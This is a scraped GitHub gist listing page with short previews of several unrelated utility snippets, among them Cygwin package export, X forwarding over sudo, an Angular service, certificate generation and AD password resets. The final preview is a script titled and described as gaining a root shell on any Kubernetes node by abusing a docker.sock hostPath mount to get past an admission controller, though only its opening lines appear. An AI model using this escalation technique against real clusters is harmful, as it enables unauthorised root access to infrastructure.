Skip to content

Instantly share code, notes, and snippets.

View pearj's full-sized avatar

Joel Pearson pearj

  • Canberra, Australia
View GitHub Profile
@aoki
aoki / git-gitkeep
Last active June 22, 2020 01:26
Create `.gitkeep` files recursive.
#!/bin/bash
if ! git rev-parse 2> /dev/null; then
echo -e "\033[0;31mERROR\033[0;39m: This directory is not git repository \033[0;31m:(\033[0;39m"
exit 1
fi
Seek() {
for DIR in * ; do
if [ -d "${DIR}" ]; then
@erikvip
erikvip / cygwinlist.md
Last active April 4, 2024 12:26
Import/Export Cygwin List of installed packages

Import & Export Cygwin List of installed Packages

If you want to go from 32 to 64 bit Cygwin but keep all the packages[1], you might find yourself in a spot where you would like to export the list of cygwin packages and also be able to install cygwin with all these packages again. I will tell you how. Open your Cygwin shell and enter

cygcheck -c -d | sed -e "1,2d" -e 's/ .*\$//' > packagelist

This will simply dump a list of installed packages. To install Cygwin 64 with these packages selected, download setup-x86_64[2] and execute it with the command line parameters

./setup-x86_64 -P `awk 'NR==1{printf \$1}{printf ",%s", \$1}' packagelist`
@xkr47
xkr47 / gist:d0a1706f960c59648218
Last active April 24, 2018 04:29
Forward X DISPLAY over "sudo su - <user>", for example after ssh:ing to server
username=<user> ; echo -n "xauth add `xauth list :${DISPLAY#*:}`" | sudo su - $username ; sudo su - $username ; echo -n "xauth remove :${DISPLAY#*:}" | sudo su - $username
@sasxa
sasxa / emitter.service.ts
Created January 2, 2016 05:27
Angular2 Communicating between sibling components
import {Injectable, EventEmitter} from 'angular2/core';
@Injectable()
export class EmitterService {
private static _emitters: { [ID: string]: EventEmitter<any> } = {};
static get(ID: string): EventEmitter<any> {
if (!this._emitters[ID])
this._emitters[ID] = new EventEmitter();
return this._emitters[ID];
@steinwaywhw
steinwaywhw / One Liner to Download the Latest Release from Github Repo.md
Last active June 22, 2024 06:15
One Liner to Download the Latest Release from Github Repo
  • Use curl to get the JSON response for the latest release
  • Use grep to find the line containing file URL
  • Use cut and tr to extract the URL
  • Use wget to download it
curl -s https://api.github.com/repos/jgm/pandoc/releases/latest \
| grep "browser_download_url.*deb" \
| cut -d : -f 2,3 \
| tr -d \" \
@granella
granella / generate-certificate-chain.sh
Created June 27, 2016 11:15
Create self-signed certificate with root and ca for development
#!/bin/bash
rm *.jks 2> /dev/null
rm *.pem 2> /dev/null
echo "===================================================="
echo "Creating fake third-party chain root -> ca"
echo "===================================================="
# generate private keys (for root and ca)
@wim-beck
wim-beck / resetPwd.ps1
Last active March 15, 2021 02:03
Reset AD password
param($AccountName)
# Reset a pwd, requires reset pwd rights on the obj:
Set-AdAccountPassword -Identity $AccountName -Reset -NewPassword (Read-Host -asSecureString "Enter the new password")
# Change a pwd, knowing the current password
Set-AdAccountPassword -Identity $AccountName -OldPassword (Read-Host -asSecureString "Enter the current password") -NewPassword (Read-Host -asSecureString "Enter the new password")
@denniskupec
denniskupec / gm_requests.js
Created October 28, 2017 06:21
GM_xmlhttpRequest + GM_download => Promises
// GM_download
function Download(url, name, opt={}) {
Object.assign(opt, { url, name })
return new Promise((resolve, reject) => {
opt.onerror = reject
opt.onload = resolve
GM_download(opt)
})
#!/usr/bin/env bash
set -e
for full_name in $(kubectl get all -o name | grep -vE replicaset\|pod); do
name="$(echo "$full_name" | sed -e "s/.*\///g")";
type="$(echo "$full_name" | sed -e "s/\/.*//g")";
case "${type}" in
deployment*)
type=Deployment
;;
"service")
@jjo
jjo / kubectl-root-in-host-nopriv.sh
Last active February 5, 2024 23:07
Yeah. Get a root shell at any Kubernetes *node* via `privileged: true` + `nsenter` sauce. PodSecurityPolicy will save us. DenyExecOnPrivileged didn't (kubectl-root-in-host-nopriv.sh exploits it)
#!/bin/sh
# Launch a Pod ab-using a hostPath mount to land on a Kubernetes node cluster as root
# without requiring `privileged: true`, in particular can abuse `DenyExecOnPrivileged`
# admission controller.
# Pod command in turn runs a privileged container using node's /var/run/docker.sock.
node=${1}
case "${node}" in
"")
nodeSelector=''
podName=${USER+${USER}-}docker-any